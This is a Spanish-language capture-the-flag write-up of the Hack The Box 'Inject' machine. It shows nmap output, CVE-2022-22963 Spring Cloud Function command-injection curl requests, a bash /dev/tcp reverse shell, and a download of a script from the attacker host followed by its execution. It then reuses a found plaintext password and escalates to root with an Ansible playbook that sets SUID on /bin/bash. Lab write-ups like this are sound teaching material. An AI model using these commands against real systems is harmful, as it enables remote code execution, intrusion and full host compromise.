Writeup
HACK-THE-BOX
Iniciamos el escaneo en la maquina victima.
# Nmap 7.93 scan initiated Tue Mar 21 20:39:10 2023 as: nmap -sCV -p22,8080 -oN targeted 10.10.11.204
Nmap scan report for 10.10.11.204
Host is up (0.049s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
| 256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 21 20:39:20 2023 -- 1 IP address (1 host up) scanned in 10.36 seconds
Analizo la pagina web, dado que no hay mucho mas.
Veo esto, curioseando lo unico interesante en el apartado upload
Solo admite archivos de imagen
Provare con cualquier imagen
Bien, se ha subido correctamente y paso por BurpSuite la url de la imagen. Se ve lo siguiente…
Buscando algo de lo que aprovecharme, encuentro en la ruta /var/www/WebApp un archivo con nombre pom.xml
Lo examino y encuentro algo y busco informacion para ver si me puedo aprovechar para poder subir archivos a la maquina victima. Dejo enlaces con la informacion ->
- Enlace How to exploit CVE-2022-22963
- Enlace Exploit
Probamos los comandos para subir un archivo test y ver que funcione.
❯ curl -X POST -H 'Host: 10.10.11.204:8080' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/test")' --data-binary 'exploit_poc' 'http://10.10.11.204:8080/functionRouter'
Y lo tenemos, archivo subido, ahroa subimos nuestro archivo malicioso con un comando de revers shell
bash -i >& /dev/tcp/tu-ip/443 0>&1
Lo volvemo a subir con el comando anterior.
❯ curl -X POST -H 'Host: 10.10.11.204:8080' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl 10.10.14.15/rever.sh -o /tmp/rever.sh")' --data-binary 'exploit_poc' 'http://10.10.11.204:8080/functionRouter'
Ya esta, lo queda mandar otra orden para ejectar el archivo y estando en escucha en nuestro equipo con netcat obtenemos una shell
❯ curl -X POST -H 'Host: 10.10.11.204:8080' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/rever.sh")' --data-binary 'exploit_poc' 'http://10.10.11.204:8080/functionRouter'
bash
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.11.204] 40436
bash: cannot set terminal process group (820): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
whoami
frank
bash-5.0$
Estamo dentro como el usuario frank, tendremos que pivotar de usuario a phil para poder ver la flag de bajos privilegios.
bash-5.0$ cat settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>
bash-5.0$
Encuentro un archivo llamando settings.xml al que hechandole un vistazo vemos al usuario phil y una contraseña que probaremos para cambiar de usuario y ver si aun es valida.
bash-5.0$ su phil
Password:DocPhillovestoInject123
bash-5.0$ whoami
phil
bash-5.0$ cat /home/phil/user.txt
e0c**************************fcb
bash-5.0$
Pareceser que es valida y podemos visualizar la flag, hora de continuar con la escalada. Subimos el binario linpeas para analizar y buscar formas factibles de escalada de privilegios.
Veo este archivo en la ruta /opt el cual puede ser modificado, busco mas informacion para ver de que se trata. Dejo lo enlaces ->
- Enlace playbook-guide
- Enlace playbook-guide-privilege-scalation
Bien una vez analizada la informacion nos cramos nuestro archivo de nombre pe.yml al que le otorgare la capacidad de cambiar los permisos de /bin/bash para que sea SUID.
- hosts: localhost
tasks:
- name: 4aka pe
shell: chmod +s /bin/bash
become: true
Ya lo tenemos y esperdao unos segundos es ejecutado y obtenemos una shell con maximos privilegios, vemos la flag final.
bash-5.0$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
7f6**************************bf6
bash-5.0#
Esto es todo.